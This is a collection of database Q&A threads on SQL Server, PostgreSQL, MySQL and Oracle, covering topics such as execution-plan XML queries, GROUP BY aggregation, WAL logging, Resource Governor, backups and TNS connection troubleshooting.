Identifying Execution Plans with Probe Residual I am trying to find out Execution Plans that has Probe Residual.

Need to know the following

Which physical and logical operator has this Probe Residual
What is the Cost% of that operator in the query
Associated Execution plan
Query Text

Following is a try that I gave – but I am stuck for getting other details. How to get these details?

Note: I am using SQL Server 2012

WITH XMLNAMESPACES
(
    DEFAULT 'http://schemas.microsoft.com/sqlserver/2004/07/showplan'
)
SELECT
    DECP.cacheobjtype,
    DECP.objtype,
    DECP.plan_handle,
    DEQP.objectid,
    DEQP.query_plan,
    DEST.[text]
FROM sys.dm_exec_cached_plans AS DECP
CROSS APPLY sys.dm_exec_query_plan(DECP.plan_handle) AS DEQP
CROSS APPLY sys.dm_exec_sql_text(DECP.plan_handle) AS DEST
WHERE
    1 = DEQP.query_plan.exist(
        '//RelOp[
            @PhysicalOp = "Hash Match"
            ]')

A Probe Residual Example

References from blogs/articles of Grant Fritchey and Rob Farley below

Probe Residual on Hash Match - Home Of The Scary DBA
Probe Residual when you have a Hash Match – a hidden cost in execution plans

What you want to do is to use nodes() Method (xml Data Type) in a cross apply to shred on RelOp nodes so you then can use value() Method (xml Data Type) to get the property values you are looking for.

You are specifically looking for the RelOp nodes that have a Hash/ProbeResidual node so you should use that in a predicate in the XQuery parameter to the nodes() function.

WITH xmlnamespaces(DEFAULT 'http://schemas.microsoft.com/sqlserver/2004/07/showplan')
SELECT DEQP.query_plan,
       DEST.text,
       RO.X.value('@PhysicalOp', 'nvarchar(50)') as PhysicalOp,
       RO.X.value('@LogicalOp', 'nvarchar(50)') as LogicalOp,
       RO.X.value('@EstimatedTotalSubtreeCost', 'float') as EstimatedTotalSubtreeCost
FROM sys.dm_exec_cached_plans AS DECP
  CROSS APPLY sys.dm_exec_query_plan(DECP.plan_handle) AS DEQP
  CROSS APPLY sys.dm_exec_sql_text(DECP.plan_handle) as DEST
  CROSS APPLY DEQP.query_plan.nodes('//RelOp[Hash/ProbeResidual]') as RO(X);


Count total number of impression views and clicks for same ad id for diffrent ip I have a table like this:

CREATE TABLE `ad_analytics` (
  `id` int(90) NOT NULL,
  `ad_id` int(90) NOT NULL,
  `advertiser_id` int(90) NOT NULL,
  `publisher_id` int(90) NOT NULL,
  `visitor_ip` varchar(250) NOT NULL,
  `type_ad` varchar(90) NOT NULL,
  `impression` int(90) NOT NULL,
  `view` int(90) NOT NULL,
  `clicks` int(90) NOT NULL,
  `date_event` date NOT NULL,
  `placed_date` date NOT NULL,
  `ending_date` date NOT NULL,
  `cpc` int(60) NOT NULL,
  `cpv` int(60) NOT NULL,
  `cpi` int(60) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

I want to count the number of impressions, views, and clicks for a particular id for distinct IP Aka if there are four impressions from the same IP then it should be counted as one impression for a particular IP. Also if there is entry from two different ip for a same id then it should counted as 2?

Consider this data:

  INSERT INTO `ad_analytics` (`id`, `ad_id`, `advertiser_id`, `publisher_id`, `visitor_ip`, `type_ad`, `impression`, `view`, `clicks`, `date_event`, `placed_date`, `ending_date`, `cpc`, `cpv`, `cpi`) VALUES
    (1, 49, 113, 109, '::1', 'Video', 1, 0, 0, '2018-05-01', '2018-05-01', '2018-05-01', 0, 0, 0),
    (2, 49, 113, 109, '::1', 'Video', 0, 0, 1, '2018-05-01', '2018-05-01', '2018-05-01', 3, 0, 0),
    (3, 49, 113, 109, '::1', 'Video', 1, 0, 0, '2018-05-01', '2018-05-01', '2018-05-01', 0, 0, 0),
    (4, 49, 113, 109, '::1', 'Video', 0, 0, 1, '2018-05-01', '2018-05-01', '2018-05-01', 3, 0, 0),
    (5, 49, 113, 109, '::2', 'Video', 1, 0, 0, '2018-05-01', '2018-05-01', '2018-05-01', 0, 0, 0),
    (6, 49, 113, 109, '::2', 'Video', 0, 0, 1, '2018-05-01', '2018-05-01', '2018-05-01', 3, 0, 0),
    (7, 49, 113, 109, '::2', 'Video', 1, 0, 0, '2018-05-01', '2018-05-01', '2018-05-01', 0, 0, 0),
    (8, 49, 113, 109, '::2', 'Video', 0, 0, 1, '2018-05-01', '2018-05-01', '2018-05-01', 3, 0, 0),
    (7, 49, 113, 109, '::2', 'Video', 1, 0, 0, '2018-05-01', '2018-05-01', '2018-05-01', 0, 0, 0),
    (8, 49, 113, 109, '::2', 'Video', 0, 0, 1, '2018-05-01', '2018-05-01', '2018-05-01', 3, 0, 0);

For this this query giving me.

SELECT id, ad_id,MAX(impression), MAX(view), MAX(clicks)
FROM ad_analytics
GROUP BY ad_id, visitor_ip;

This answer:

(`id`, `ad_id`, `MAX(impression)`, `MAX(view)`, `MAX(clicks)`) VALUES
(1, 49, 1, 0, 1),
(5, 49, 1, 0, 1);

But i am expecting answer like this:

(`id`, `ad_id`, `MAX(impression)`, `MAX(view)`, `MAX(clicks)`) VALUES
(1, 49, 2, 0, 2),

Also in resultant row I need to consider publisher_id as well. How can I do that?

I think the expected result you want can be fetched using this query.

select
  ad_id,
  sum(impression) total_impression,
  sum(view) total_views,
  sum(clicks) total_clicks,
from
  (select
     ad_id,
     max(impression)  impression,
     max(view)  view,
     max(clicks)  clicks,
     visitor_ip,
     publisher_id
  from ad_analytics
  where publisher_id = 109
  group by ad_id, visitor_ip) t group by t.ad_id;

UPDATE

Removed columns from select that are neither in group by nor aggregated, and added date_event

select
  ad_id,
  sum(impression) total_impression,
  sum(view) total_views,
  sum(clicks) total_clicks,
  date_event
from
  (select
     ad_id,
     max(impression)  impression,
     max(view)  view,
     max(clicks)  clicks,
     visitor_ip,
     date_event
  from ad_analytics
  where publisher_id = 109
  group by ad_id, visitor_ip,date_event) t
group by t.ad_id,t.date_event;


Pull all parent records with or without child record - if child record exists select latest record I'm building a table of ALL records on vacation watch which have not expired  and are not already scheduled for a visit

Select the property information
Select the mapzone cars
Select the last time the property was checked

My problem is if the property has never been checked the record is not selected

The code is:

FROM vacation_watch_master
LEFT JOIN property
    ON vacation_watch_master.MstrLink = property.MstrLink
LEFT JOIN property_map_carzone
    ON property.MapZone = property_map_carzone.MAP_ZONE
LEFT JOIN vac_watch_check_dates v1
    ON vacation_watch_master.VWLink = v1.VWLink
WHERE v1.VWDateLink = (SELECT max(VWDateLink)
                       FROM vac_watch_check_dates
                       WHERE vac_watch_check_dates.VWLink = vacation_watch_master.VWLink
                      )
HAVING vacation_watch_master.Watch_Expired  > -1
   AND vacation_watch_master.MstrLink NOT IN (
                              SELECT vac_watch_schedule.MstrLink
                              FROM vac_watch_schedule
                                             )

In your WHERE clause, your v1.VMDateLink = SELECT MAX(VWDateLink) ... will not be true since the MAX will return NULL, and NULL is never equal to anything including NULL.

Try adding OR v1.VMDateLink IS NULL, but in general, I would create an inline view on vac_watch_check_dates with a single row per VWLink with the max VMDateLink.


WAL log entry for CREATE TABLE statement In postgresql, for queries like INSERT/UPDATE/DELETE, a WAL record with required information about the tuples is created in the WAL buffer, before doing the required changes in the data buffer. Is it the same for UTILITY statements? I see an option, wal_level, to reduce the WAL entries for certain queries as in case of, create and drop table within a transaction itself. But what happens otherwise? Are the UTILITY statements logged? If so, what is the XLog record structure of those records? Thanks in advance

wal_level is not specific to "certain queries". It changes the overall information written into a WAL record (e.g. to support a hot-standby).

Even non-transactional statements are logged e.g. create database or nextval().

The only statements that are not logged are statements dealing unlogged tables (and -  currently - hash indexes).

The Write-Ahead-Log is not for managing transactions, it's for managing durability.


Getting the error log location in an efficient way I am using this sql to get my error log location:

EXEC xp_readerrorlog 0, 1, N'Logging SQL Server messages in file'

However, sometimes I have very large log file (about 1gb, and I do not have control over the cycling of these files) the query above takes about 10 seconds to run on these large files, which is too long.

Given that this piece of text is always in the first few lines of the file, it would be good if I could say "give me top 1 and then stop reading", but I don't think the xp_readerrorlog support this?

Or, alternatively, if I knew the date of the first line in the file, I could specify a date range like so:

DECLARE @startDate DATETIME
DECLARE @endDate DATETIME
SET @startDate = '2016-01-28 12:00:00'
SET @endDate = DATEADD(mi, 5, @startDate)
EXEC xp_readerrorlog 0, 1, N'Logging SQL Server messages in file', NULL, @startDate, @endDate

Which is much quicker. However, I don't know how I can work out this date - in many cases it is nearly the same as the start time of the instance process (SELECT login_time FROM sysprocesses WHERE spid = 1 but this is not guaranteed)

I have also tried using master..xp_instance_regread to read the log file location from SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\Parameters, but this does not always seem to be accurate.

Does anyone have any suggestions how I could work out the log file location in an efficient way, even when my log files are large.

SELECT SERVERPROPERTY('ErrorLogFileName')

Actually it is an (undocumented) serverproperty,  which appears to work on SQL2005+

Joe Sack has a post on it


Analyze needed after a refresh materialized view? Are we supposed to run ANALYZE myview; on a PostgreSQL 9.6+ materialized view after running a REFRESH MATERIALIZED VIEW CONCURRENTLY myview;?

Or is it useless (maybe index statistics are already updated on refresh?)

Table statistics are not updated automatically.

They remain unchanged if refreshed with the CONCURRENTLY option.
Without CONCURRENTLY, a new file is written for the table, and the basic counts relpages and reltuples in the system catalog pg_class are consequently reset to 0. Table statistics (per column) in pg_statistic still remain unchanged, though.

I ran a quick test in Postgres 9.6 to confirm.

In some cases (where query plans don't depend on current statistics much) you may want to save the time and not run ANALYZE at all. In all other cases you'll want / need to schedule a manual ANALYZE myview; right after the REFRESH. Or you wait until autovacuum kicks in, which only happens if enough rows were changed (CONCURRENTLY actually runs DDL commands on the MV to only affect changed rows.)


UNION queries with different number of columns? I have 2 queries on a table:
SELECT *, 1 as query_cr_0 FROM invoices LEFT OUTER JOIN customers ON customers.id = invoices.customer_id WHERE (customers.id IN (64, 66, 63, 62, 65))

SELECT *, 5 as query_cr_1 FROM invoices WHERE (invoices.state IN ('ready', 'out_for_delivery', 'delivered', 'closed')

I want to fetch all invoices that fulfill either of the queries.
My approach was to use UNION but LEFT OUTER JOIN in the first query prevents this:

ERROR:  each UNION query must have the same number of columns

My second approach was to use something like this:
select invoices.id from invoices
where id in (SELECT invoices.id, 1 as query_cr_0 FROM invoices
             LEFT OUTER JOIN customers ON customers.id = invoices.customer_id
             WHERE (customers.id IN (64, 66, 63, 62, 65)))
OR id in (SELECT invoices.id, 5 as query_cr_1 FROM invoices
          WHERE (invoices.state IN ('ready', 'out_for_delivery', 'delivered', 'closed')))

But this throws an error:

subquery has too many columns

My purpose is to fetch the invoices with query_cr_0 and query_cr_1 value. For ex: An invoice might be satisfying both the conditions so in that case both query_cr_0 and query_cr_1 should be present. If an invoice satisfies only one of the queries corresponding query_cr must be present.
How to solve this issue?

You really should not use *.
But if you want to use it anyway, write SELECT invoices.*, 1 to prevent the columns from the customers table from showing up.

Doing an outer join is pointless because any resulting rows that have NULL in customer.id would be filtered out by the WHERE.

And you do not actually need the join, because you have the customer ID value already in the invoices table:

SELECT ... FROM invoices WHERE customer_id IN (64, 66, 63, 62, 65)

Your second approach would work if you removed the second column (1 or 5) from the subqueries.

If you want the  1/5 values to show up in the result, then you must use your first approach (and you can use UNION ALL instead of UNION because there will not be duplicate rows).


What limits the number of connections? As per https://devcenter.heroku.com/articles/heroku-postgres-legacy-plans the connection limit is 500

As per https://wiki.postgresql.org/wiki/Tuning_Your_PostgreSQL_Server "Generally, PostgreSQL on good hardware can support a few hundred connections"

What are the determining factors in this limit? #CPU cores? RAM? OS?

First of all, the GUC max_connections - a setting in postgresql.conf. It can only be set at server start.
Heroku obviously limits this to 20 for the "Starter Tier" and 500 for the "Production Tier".
The maximum number is not limited by Postgres itself, but by available system resources. Typically, performance degrades with too many concurrent connections, so even if you can set max_connections = 1000, it's probably unwise. Idle sessions don't matter much. But concurrently active sessions compete for resources, the bottleneck typically being I/O.
Here is a blog with instructions by someone who did.


PostgreSQL: Cannot change directory to /root I am trying to copy a table planet_osm_polygon from one database osm to another test. I su postgres and performed the pg_dump.

Problem: However I'm getting the error could not change directory to "/root" and the Password: prompt appeared twice! Is there a way to perform the pg_dump when logged in as root?

root@lalaland:~# su postgres
postgres@lalaland:/root$ pg_dump -h localhost "osm" --table "public.planet_osm_polygon" |
    psql -h localhost "test" --table "staging.planet_osm_polygon"
could not change directory to "/root"
could not change directory to "/root"
Password: Password:

UPDATE

Problem #2: It appears that the table is copied into the public schema even though I passed the flag --table="staging.planet_osm_polygon". Why isn't it copied to schema staging?

Try this: Re: could not change directory to "/root":

  Apparently you did "su postgres" from the root account, so you're
  still in root's home directory.  It'd be better to do "su - postgres"
  to ensure you've acquired all of the postgres account's environment.
  Reading "man su" might help you out here.


How to get Time in milliseconds & How to add 5 minutes to the milliseconds in mySql How to get current time in milliseconds & how to add 5 minutes to it in mySql

MySQL 5.6.4 has introduced fuller support for fractional seconds in time values. The CURTIME function can now return the current time with up to microseconds. To return it with milliseconds, you call it like this:

CURTIME(3)

However, that will give you a time value, not an integer number of milliseconds that I am assuming you are after. To get the number of milliseconds, you can apply the UNIX_TIMESTAMP function to CURTIME(3) and multiply the result by 1000:

UNIX_TIMESTAMP(CURTIME(3)) * 1000

The result will be a decimal with the scale of 3. You can further cast it to unsigned if you need the result to be an actual integer type:

CAST(UNIX_TIMESTAMP(CURTIME(3)) * 1000 AS unsigned)

So much for the current time in milliseconds. As for adding 5 minutes to it, you can add 300,000 to the last result:

CAST(UNIX_TIMESTAMP(CURTIME(3)) * 1000 AS unsigned) + 300000

Or you can add just 300 (seconds) before the multiplication (similar to Arnel Aves's suggestion):

CAST((UNIX_TIMESTAMP(CURTIME(3)) + 300) * 1000 AS unsigned)

That way the intent might be clearer. But it will probably be even clearer if you add the interval directly to CURTIME:

CAST(UNIX_TIMESTAMP(CURTIME(3) + INTERVAL 5 MINUTE) * 1000 AS unsigned)

Additional information:

Date and Time Functions
Cast Functions and Operators


Microsoft SQL Server || Log Truncation I have a database and it is in full recovery model. Transaction log file is restricted to 100 MB.

I inserted some rows to a table in the database. When I see the logspace used using dbcc sqlperf(logspace) it showed the log space used is 60 percent.

Next I did a full backup of the database and restored with new database name. When I see the logspace used using dbcc sqlperf(logspace) it showed the log space used is 9 percent.

Full backups do not truncate the log file. I do not understand why the space used by log files in these two DBs are not the same?

A full backup only backs up enough of the log to restore to the point in time of the backup. Only those committed transactions needed are included in the full backup.


The best way to limit server hog using resource governor I have a scenario where I have a couple of users that run intensive queries where it uses up most of CPU resource. I've repeated told them to change the queries but doesn't seem to be moving anywhere. I can't really take away their access due to company policy.

What I want to do is to divide good users vs. bad users, and allocate bad users max of 25% CPU (with IO throttling), so when no one else is running the query, the bad users get 25% of CPU power. When good users are running queries, then bad users have the lowest priority thus may not even get 25%.

Is this possible?

The trick to Resource Governor is thinking about what you want to protect rather than what you want to throttle.  You set minimum/reserve resources for your good users which protects them from the bad users.

My advice is to start conservative and slowly turn the knobs. You'll likely just need one Resource Group for your "Good Users". You would set their minimum CPU and/or Memory to, say 10%.  Everything else, including your Bad Users, will go to the Default pool.

If Bad Users were all running CPU heavy queries, and the Good User's query came along, it would throttle the Bad so the Good would be guaranteed to at least have 10% of the CPU.

You may decide that a 10% minimum isn't enough and you need to increase it. Just be measured in your approach.  I personally have never found the need to touch the Maximums, though I suppose there are use-cases.

Also, the Resource Governor DMVs provide some great information. You can create your "Good Group" and just leave it at the defaults to see the stats. They are quite interesting on their own.

Another thing to be aware of is to make your Classifer function very simple. Remember, this function will get called on every connection so SQL will know which Group to route the connection, so don't put a lot of crazy logic in there.

Typically you'll just do simple CASE compare based on Application Name or Host Name or Login Name.

for example:

CREATE FUNCTION [dbo].[my_classifier]()
RETURNS SYSNAME
WITH SCHEMABINDING
AS
BEGIN

DECLARE @HostName NVARCHAR(256)

SELECT @HostName = HOST_NAME()

RETURN
(
    SELECT CASE
    WHEN (@HostName = 'GoodUser') THEN N'GoodUser_WorkloadGroup'
    ELSE  'default'
    END
);
END


Expanding parent-child tree with additional tables I have readonly access to a table (Oracle database) which contains a hierarchical structure, represented via parent-child.

I need to add another table, which will expand the existing hierarchical tree.
The new table needs to add levels to the tree, including entire sub-trees.

The problem is this:
Any node in the expansion table needs to have a single parent, yet that parent can be in either the original table, or in the expansion table.

How can I accomplish this safely?

Things I thought of so far:

Giving each node in the expanded table two parent (one from each table)
Problem: data integrity!
Each node will have one parent, without knowing which table contains it
Problem: querying will be difficult.
Problem 2: same ID for two different nodes (in different tables)
Each node will have one parent, with another column specifying which table contains it
Problem: querying still difficult.

Here's an idea: build your "expansion table" with something like this:

expanded_table (id number, parent_src char(1), parent_id number, ...)

The parent_src column should indicate where the parent comes from, e.g. you could use 'O' of original, 'E' for expansion. (Add a primary key on id, of course.)

To handle the querying, use a view defined like this (pseudo-sql):

select 'O' source, o.id, 'O' parent_src, o.parent_id, [...] from original_table
union all
select 'E' source, e.id,   e.parent_src, e.parent_id, [...] from expanded_table

You can do hierarchical queries based on (source,id)/(parent_src,parend_id) pairs.

No problem with duplicate/overlapping ids, the source info disambiguates them.

Now data integrity is going to be very problematic.

You can't have check constraints that reference other tables, and I don't know of a way of building a "conditional foreign key" that would work here.
You could use triggers to make sure DML on the expanded table is coherent, but even with those and triggers on the original table (if you could do that, which doesn't seem to be the case), that would be very tricky to get right.

Having all DML to this "structure" go through PL/SQL that you control could do it, but that doesn't appear to be possible given the information in your post.


Advice about Backup Solution Our database Server is being hosted by another company.  They provide a file level backup that occurs once per day.  They also allow for Log Shipping.  My company is taking advantage of their Logshipping option as a major part of their backup and recovery solution.

I would like to have a better backup system that would allow us to restore data up to the point in time of failure.  Typicly this would be full backkup model for the database and backups of the transaction logs as well as the full and incrimentals.  However, the vendor has told me that providing us with transaction log backups would cause issues with the Log Shipping.

Is there a backup strategy that will allow me to restore to the point of failure and also use logshipping?

You could be utilizing the transaction log backups that are taken by the log shipping process.  In fact, you can't double-up on transaction log backups.

So, as long as you have the actual transaction log backups and the ability to copy them to other storage (in order for your custom backup preservation and retention for Disaster Recovery), you should be fine on the t-log front.

But, the real problem is that you can't take full (or differential) database backups.  You will need these for disaster recovery.  A file level backup is not good enough for a sound DR plan, and surely not sufficient for point-in-time recovery.  You must have, at one point in time, been able to take a full database backup in order to initialize your secondary database(s).  Why is that no longer an option?

BOL reference on Using Log Shipping as Part of a Recovery Plan


COPY Command spawning multiple processes I have a lengthy data pipeline that imports a CSV, creates a sequence of dependent views and then exports the results using COPY as a CSV. This process had been working fine, completing in around 30-60 seconds. Suddenly, this process has started running much slower when it reaches the copy command. Running SELECT usename, state, query FROM pg_stat_activity; shows three identical, active COPY commands under my username. The process does eventually complete but now takes up to 20 minutes or more. Other than changing some initial sub-setting, the data has remained unchanged. No one else is using this database but there are other users on the cluster.

Has anyone encountered this behavior before? Does anyone know what might cause a sudden slow down in a COPY operation?

Postgres 11.6, RHEL 7

You aren't giving us much to go on here.  Like, what is the query?  What do the other columns of pg_stat_activity show?  What does OS command "top" show?

I was thinking parallel workers, but parallel worker processes won't show up with their own row in pg_stat_activity until v13.  So I think the most likely thing to have changed is your workflow is now launching multiple simultaneous COPY commands for unknown reason.  Could you crank up logging in the database (log_statement='all', log_connections='on')?


unable to connect to oracle in linux terminal in oracle VM ,TNS listner not connected i installed oracle VM , new to oracle vm.
Can some help me in connecting to oracle in Linux termial  and TNS listner is not responding with IO failure on sql developer when pressing test button .please sugggest how to resolve the issue.

https://infoallsite.wordpress.com/

you can see the images here :

You try to connect with / as sysdba, which normally connects locally, and you still get errors related to TNS and listener. Actually, there is a not well-known environment variable, called TWO_TASK, and if you set that, SQL*Plus will automatically try to connect using the value of the variable as a TNS entry.

So if you use TWO_TASK, instead of this:

sqlplus user/password@TNS

you can do this:

export TWO_TASK=TNS
sqlplus user/password

The second method will have the same result as the first, the difference is you do not need to specify the TNS on every connection, you can simply put it in a variable, it may be useful when writing scripts, though I have never used it. Another use-case for it is when you have a CDB and you want to connect to a PDB. You can not connect a PDB directly locally, but you can kind of "emulate" that with TWO_TASK.

So I have the below environment:

[oracle@o61 ~]$ . oraenv
ORACLE_SID = [oracle] ? orcl
The Oracle base has been set to /opt/oracle/base
[oracle@o61 ~]$ lsnrctl status

LSNRCTL for Linux: Version 12.1.0.2.0 - Production on 22-JAN-2016 23:15:23

Copyright (c) 1991, 2014, Oracle.  All rights reserved.

Connecting to (ADDRESS=(PROTOCOL=tcp)(HOST=)(PORT=1521))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 12.1.0.2.0 - Production
Start Date                15-JAN-2016 18:17:03
Uptime                    7 days 4 hr. 58 min. 20 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   /opt/oracle/grid12102/network/admin/listener.ora
Listener Log File         /opt/oracle/base/diag/tnslsnr/o61/listener/alert/log.xml
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=LISTENER)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.6.1)(PORT=1521)))
Services Summary...
Service "orcl" has 1 instance(s).
  Instance "orcl", status READY, has 1 handler(s) for this service...
Service "orclXDB" has 1 instance(s).
  Instance "orcl", status READY, has 1 handler(s) for this service...
The command completed successfully

Try to connect with / as sysdba:

[oracle@o61 ~]$ sqlplus / as sysdba

SQL*Plus: Release 12.1.0.2.0 Production on Fri Jan 22 23:15:28 2016

Copyright (c) 1982, 2014, Oracle.  All rights reserved.

Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
With the Partitioning, OLAP, Advanced Analytics and Real Application Testing options

SQL> exit
Disconnected from Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
With the Partitioning, OLAP, Advanced Analytics and Real Application Testing options
[oracle@o61 ~]$

So far so good, / as sysdba works like a charm. Now let's say I have a TNS entry pointing to another service, that does not exist, for example:

[oracle@o61 ~]$ tnsping mydb

TNS Ping Utility for Linux: Version 12.1.0.2.0 - Production on 22-JAN-2016 23:20:47

Copyright (c) 1997, 2014, Oracle.  All rights reserved.

Used parameter files:

Used TNSNAMES adapter to resolve the alias
Attempting to contact (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.6.1)(PORT = 1521))) (CONNECT_DATA = (SERVICE_NAME = MYDB)))
OK (0 msec)
[oracle@o61 ~]$

tnsping say everything is OK. Well, tnsping does not check the specified service, it only checks the address and port. Still, it is a valid TNS entry anyway. If I try to connect using this TNS entry, it will obviously fail with the infamous 12514 error, as I do not have any service like this, as you could see from my lsnrctl status output. I do not even need to specify a valid username and password to get the error.

[oracle@o61 ~]$ sqlplus user/password@mydb

SQL*Plus: Release 12.1.0.2.0 Production on Fri Jan 22 23:21:50 2016

Copyright (c) 1982, 2014, Oracle.  All rights reserved.

ERROR:
ORA-12514: TNS:listener does not currently know of service requested in connect
descriptor

Enter user-name:

And here comes TWO_TASK, the variable that was meant to make your life easier, but it is also a great feature to play a prank on someone who does not know about it. Even if you connect / as sysdba, SQL*Plus will try to open a remote connection because of it:

[oracle@o61 ~]$ export TWO_TASK=mydb
[oracle@o61 ~]$ sqlplus / as sysdba

SQL*Plus: Release 12.1.0.2.0 Production on Fri Jan 22 23:29:21 2016

Copyright (c) 1982, 2014, Oracle.  All rights reserved.

ERROR:
ORA-12514: TNS:listener does not currently know of service requested in connect
descriptor

Enter user-name: oracle
Enter password:
ERROR:
ORA-12514: TNS:listener does not currently know of service requested in connect
descriptor

Enter user-name:

If you have TWO_TASK set, just unset it, and try to connect again.

[oracle@o61 ~]$ unset TWO_TASK
[oracle@o61 ~]$ sqlplus / as sysdba

SQL*Plus: Release 12.1.0.2.0 Production on Fri Jan 22 23:31:24 2016

Copyright (c) 1982, 2014, Oracle.  All rights reserved.

Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
With the Partitioning, OLAP, Advanced Analytics and Real Application Testing options

SQL>


Counting non duplicates between 2 columns Suppose we have two columns: Start & End.
Both columns store an integer id.

For each id in the Start column, I want to be able to determine whether the same id exists in the End column. If not, the count should increment by 1.

How can this be done?

Should be fairly simple:

SELECT COUNT(DISTINCT a.Start)
FROM TableName a
LEFT OUTER JOIN TableName b ON a.Start = b.End
WHERE b.Start IS NULL


In SQL Server, what is the purpose of grouping stored procedures? One of the most perplexing issues with which I've had to deal has to do with Stored Procedure groups. Given a stored procedure, usp_DoSomethingAwesome, I can create that proc in another group by calling it usp_DoSomethingAwesome;2.

I discovered this when troubleshooting some replication issues (Publisher: SQL 2000 Ent., Dist/Sub: 2008 R2 Ent.) that arose with some of the system-generated Insert, Update, and Delete replication stored procedures.

What is the purpose/thought behind having this "grouping" ability?

This is like overloading a method. Essentially you could create two or more versions of your stored procedure, where each does different things - take a different number of parameters, operate on different tables, have different output, etc.

They are called Numbered Procedures and they are absolutely deprecated (announced since 2005). They are still supported in SQL Server 2012, but some features don't play nicely with them. For example, they are considered a containment breach in Contained Databases, and any procedure numbered > 1 will not be created:

  Msg 12829, Level 16, State 1, Procedure blat, Line 1
  The stored procedure 'dbo.blat' refers to a group of numbered stored procedures. Numbered stored procedures are not available in contained databases. Please consult the Books Online topic Understanding Contained Databases for more information on contained databases.


Setting locale for Chinese characters in Postgresql I am designing a Postgresql database that contains Chinese characters in certain tables (.e.g login, comments). Most tables are perfectly fine with ASCII characters.

From Postgresql Locale Support, the locale of the database can be set during creation. But setting a non-default C locale will degrade performance over sorting. Is it possible to specify locale per table or per column in Postgresql?

You weren't far from finding it.
Here's the documentation you're looking for.

Yes you can define a specific locale for chosen columns (from 9.1 version).


What or Who is taking SQL Server backups I have inherited a SQL Server 2008 R2 (SP3) Database. There are backups being taken daily at seemingly random times. The backups are not being saved locally on the server. I see the backup information in msdb..backupset table. What is taking these backups and where is it storing these backups? I see that VSS writer is the program name, I can disable the Service but I would like to get more information of what was done before I disable this service.

There are no agent jobs
There don't seem to be any Task Scheduler Jobs
There is no external program installed

I have created a trace and I see the following.

SQL:
BACKUP DATABASE [master] TO VIRTUAL_DEVICE='{8305D2E8-56C5-41E5-9F54-    17DDEE1A6991}7' WITH SNAPSHOT,BUFFERCOUNT=1,BLOCKSIZE=1024,COPY_ONLY

HostName is same as Server

Application Name: Microsoft SQL Server VSS Writer

LoginName: NT AUTHORITY\SYSTEM

The reason why you don't is because an agent is taking the backup. Look at Windows Services for something with "backup" in it's name like NetBackup or Tivoli (TDP, TSM) the service would be running using System account. The virtual device is a temporary mount point. The backup agent is sending it to an external storage then should put it to tape. Agent don't always have a GUI and a shortcut in the Start Menu. You can look also in the installed programs for a hint.


Which backup files are needed for a successful restore? Considering the built-in 'Backup Database' script (backup.bat) that comes with a new installation of the Oracle Express 11g Edition, after finishing the script execution, what folders/files should be copied to an external media (XCOPY backup) so the database could be fully restored the database after a new install?

Environment:

Windows Server 2003
Database is in ARQCHIVELOG
Datafiles/Tablespaces are set-up as default (user data is being allocated in USERS Tbs)

I have a guess that the folder [InstallDir]\oraclexe\app\oracle\fast_recovery_area should contain all of what I need, but I'm afraid it isn't enough.

PS: Question moved from ServerFault: https://serverfault.com/questions/413762/oracle-database-11g-express-edition-built-in-backup-files-to-be-saved (too old to migrate)

The included backup.bat (windows) or backup.sh (all other platforms) script found under $ORACLE_HOME/config/scripts will do the following:

Check that the user running the script is in the DBA or DBOPER system groups
Check that the database is in archivelog mode and have the FAST_RECOVERY_AREA parameter configured.
Back up the database to the fast recovery area under XE/backupset (online/warm backup using RMAN)
Create a pfile as $ORACLE_HOME/XE/dbs/spfile2init.ora
Autobackup control file and SPFILE to the fast recovery area under XE/autobackup/
Switch to the next online redo log file, letting the current one be archived
Create a log of the backup operation, in the user's home directory

The archive logs are already located in the fast recovery area under XE/archivelog

Note that the PFILE is created in the oracle home, but it is not required to restore the database, not even to a new server. Everything you do need is located in the Fast Recovery Area.

That's not to say that it's not a good idea to additionally back up the oracle home.


Create an Audit trail on SQL Server 2008 to trace all privilege users I need to create a trace of all the commands issued by members of SysAdmin or SecurityAdmin server Roles. I figured, I could use Profiler to do that but it will not comprise all the added members. I also checked the new Audit feature and yes, I can trace membership change on these roles but I will not get all their activity log.

All I see now is to reactivate the trace with a DDL trigger on Server Roles membership change.

Do someone brighter than me have a better idea ?

You might be looking for something like Change Data Capture.

  Change data capture is designed to capture insert, update, and delete
  activity applied to SQL Server tables, and to make the details of the
  changes available in an easily consumed relational format. The change
  tables used by change data capture contain columns that mirror the
  column structure of a tracked source table, along with the metadata
  needed to understand the changes that have occurred.

  Change data capture is available only on the Enterprise, Developer,
  and Evaluation editions of SQL Server.


MATCH AGAINST one character words returns empty rows with ft_min_word_len = 1 I've set ft_min_word_len = 1 to my.cnf file, also SHOW VARIABLES LIKE 'ft_min_word%' displays ft_min_word_len as 1. Then I've reloaded all database tables and it still doesn't search for one character words.

My table:

CREATE TABLE IF NOT EXISTS event (
id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(80) NOT NULL,
description TEXT,
time TIMESTAMP DEFAULT 0,
FULLTEXT(name)
);

My query:

SELECT event.id AS eid,
    event.name AS ename
FROM event
WHERE MATCH(event.name) AGAINST('+W*' IN BOOLEAN MODE)

And event name I'm searching for is W.W.W. + Pavel Fajt + Vladimir 518 @ Sono

What else could cause the problem please?

EDIT: I'm using InnoDB, sorry I haven't mention it before.

mysql> SHOW GLOBAL VARIABLES like 'ft_min_word_len';
+-----------------+-------+
| Variable_name   | Value |
+-----------------+-------+
| ft_min_word_len | 1     |
+-----------------+-------+
1 row in set (0.00 sec)

mysql> SELECT event.id AS eid,
              event.name AS ename
       FROM event
       WHERE MATCH(event.name) AGAINST('+W*' IN BOOLEAN MODE);
+-----+--------+
| eid | ename  |
+-----+--------+
|   1 | W.W.W. |
|   7 | W      |
|  12 | Wa     |
|  11 | Wat    |
|  10 | Wats   |
|   9 | Watso  |
|   8 | Watson |
+-----+--------+
7 rows in set (0.01 sec)

Maybe you are using InnoDB:

